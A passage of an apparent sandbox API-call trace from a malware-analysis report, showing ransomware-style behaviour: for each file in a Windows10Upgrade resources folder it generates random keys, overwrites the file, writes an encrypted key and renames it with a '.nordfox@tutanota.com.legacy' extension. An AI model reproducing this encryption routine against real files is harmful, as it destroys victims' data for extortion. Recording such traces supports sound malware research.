| out: hHeap=0x520000) returned 1 [0115.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0115.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0115.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0115.257] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0115.257] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0115.258] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\logo.png", dwFileAttributes=0x80) returned 1 [0115.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0115.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7da8 [0115.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0115.258] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.258] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2611) returned 1 [0115.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa33) returned 0x582160 [0115.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa33) returned 0x582ba0 [0115.259] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0xa33, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0xa33, lpOverlapped=0x0) returned 1 [0115.260] SetFilePointer (in: hFile=0x638, lDistanceToMove=-2611, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.260] WriteFile (in: hFile=0x638, lpBuffer=0x582ba0*, nNumberOfBytesToWrite=0xa33, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582ba0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa33, lpOverlapped=0x0) returned 1 [0115.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ba0 | out: hHeap=0x520000) returned 1 [0115.260] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa33 [0115.261] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.261] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.261] WriteFile (in: hFile=0x638, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.261] WriteFile (in: hFile=0x638, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.261] CloseHandle (hObject=0x638) returned 1 [0115.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0115.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0115.261] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\logo.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x520000) returned 1 [0115.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0115.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0115.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0115.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.263] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.263] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0115.263] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\lock.png", dwFileAttributes=0x80) returned 1 [0115.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0115.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7da8 [0115.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0115.264] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.264] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3677) returned 1 [0115.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe5d) returned 0x582160 [0115.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe5d) returned 0x609bd8 [0115.264] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0xe5d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0xe5d, lpOverlapped=0x0) returned 1 [0115.266] SetFilePointer (in: hFile=0x638, lDistanceToMove=-3677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.266] WriteFile (in: hFile=0x638, lpBuffer=0x609bd8*, nNumberOfBytesToWrite=0xe5d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe5d, lpOverlapped=0x0) returned 1 [0115.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0115.266] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe5d [0115.266] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.266] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.267] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.267] WriteFile (in: hFile=0x638, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.267] CloseHandle (hObject=0x638) returned 1 [0115.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.267] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\lock.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x520000) returned 1 [0115.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0115.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0115.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0115.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0115.269] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.269] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0115.269] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\loading.gif", dwFileAttributes=0x80) returned 1 [0115.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x567148 [0115.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e77e8 [0115.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567148 | out: hHeap=0x520000) returned 1 [0115.270] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.270] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17395) returned 1 [0115.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x43f3) returned 0x609bd8 [0115.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x43f3) returned 0x60dfd8 [0115.271] ReadFile (in: hFile=0x638, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x43f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x43f3, lpOverlapped=0x0) returned 1 [0115.283] SetFilePointer (in: hFile=0x638, lDistanceToMove=-17395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.283] WriteFile (in: hFile=0x638, lpBuffer=0x60dfd8*, nNumberOfBytesToWrite=0x43f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dfd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43f3, lpOverlapped=0x0) returned 1 [0115.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0115.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dfd8 | out: hHeap=0x520000) returned 1 [0115.283] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43f3 [0115.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.284] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.284] WriteFile (in: hFile=0x638, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.284] CloseHandle (hObject=0x638) returned 1 [0115.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0115.284] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\loading.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0115.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0115.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0115.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0115.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4320 [0115.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0115.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0115.286] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png", dwFileAttributes=0x80) returned 1 [0115.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0115.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c150 [0115.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0115.287] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.287] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4067) returned 1 [0115.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfe3) returned 0x582160 [0115.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfe3) returned 0x609bd8 [0115.287] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0xfe3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0xfe3, lpOverlapped=0x0) returned 1 [0115.290] SetFilePointer (in: hFile=0x638, lDistanceToMove=-4067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.290] WriteFile (in: hFile=0x638, lpBuffer=0x609bd8*, nNumberOfBytesToWrite=0xfe3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfe3, lpOverlapped=0x0) returned 1 [0115.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0115.290] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfe3 [0115.290] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.290] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.290] WriteFile (in: hFile=0x638, lpBuffer=0x5c4320*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4320*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.291] WriteFile (in: hFile=0x638, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.291] CloseHandle (hObject=0x638) returned 1 [0115.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4320 | out: hHeap=0x520000) returned 1 [0115.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0115.291] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c150 | out: hHeap=0x520000) returned 1 [0115.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0115.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0115.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0115.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0115.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0115.293] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0115.293] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0115.293] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\GetStarted.png", dwFileAttributes=0x80) returned 1 [0115.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0115.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8648 [0115.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0115.294] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.294] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3824) returned 1 [0115.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xef0) returned 0x582160 [0115.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xef0) returned 0x609bd8 [0115.294] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0xef0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0xef0, lpOverlapped=0x0) returned 1 [0115.296] SetFilePointer (in: hFile=0x638, lDistanceToMove=-3824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.296] WriteFile (in: hFile=0x638, lpBuffer=0x609bd8*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef0, lpOverlapped=0x0) returned 1 [0115.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0115.296] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef0 [0115.296] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.296] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.296] WriteFile (in: hFile=0x638, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.296] WriteFile (in: hFile=0x638, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.297] CloseHandle (hObject=0x638) returned 1 [0115.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0115.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0115.297] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\GetStarted.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.298] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8648 | out: hHeap=0x520000) returned 1 [0115.298] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0115.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0115.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0115.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0115.299] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.299] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0115.299] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\eula.css", dwFileAttributes=0x80) returned 1 [0115.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0115.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8648 [0115.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0115.299] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.300] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=82) returned 1 [0115.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52) returned 0x56f118 [0115.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52) returned 0x5698c8 [0115.300] ReadFile (in: hFile=0x638, lpBuffer=0x56f118, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x52, lpOverlapped=0x0) returned 1 [0115.301] SetFilePointer (in: hFile=0x638, lDistanceToMove=-82, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.301] WriteFile (in: hFile=0x638, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52, lpOverlapped=0x0) returned 1 [0115.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f118 | out: hHeap=0x520000) returned 1 [0115.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5698c8 | out: hHeap=0x520000) returned 1 [0115.301] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: 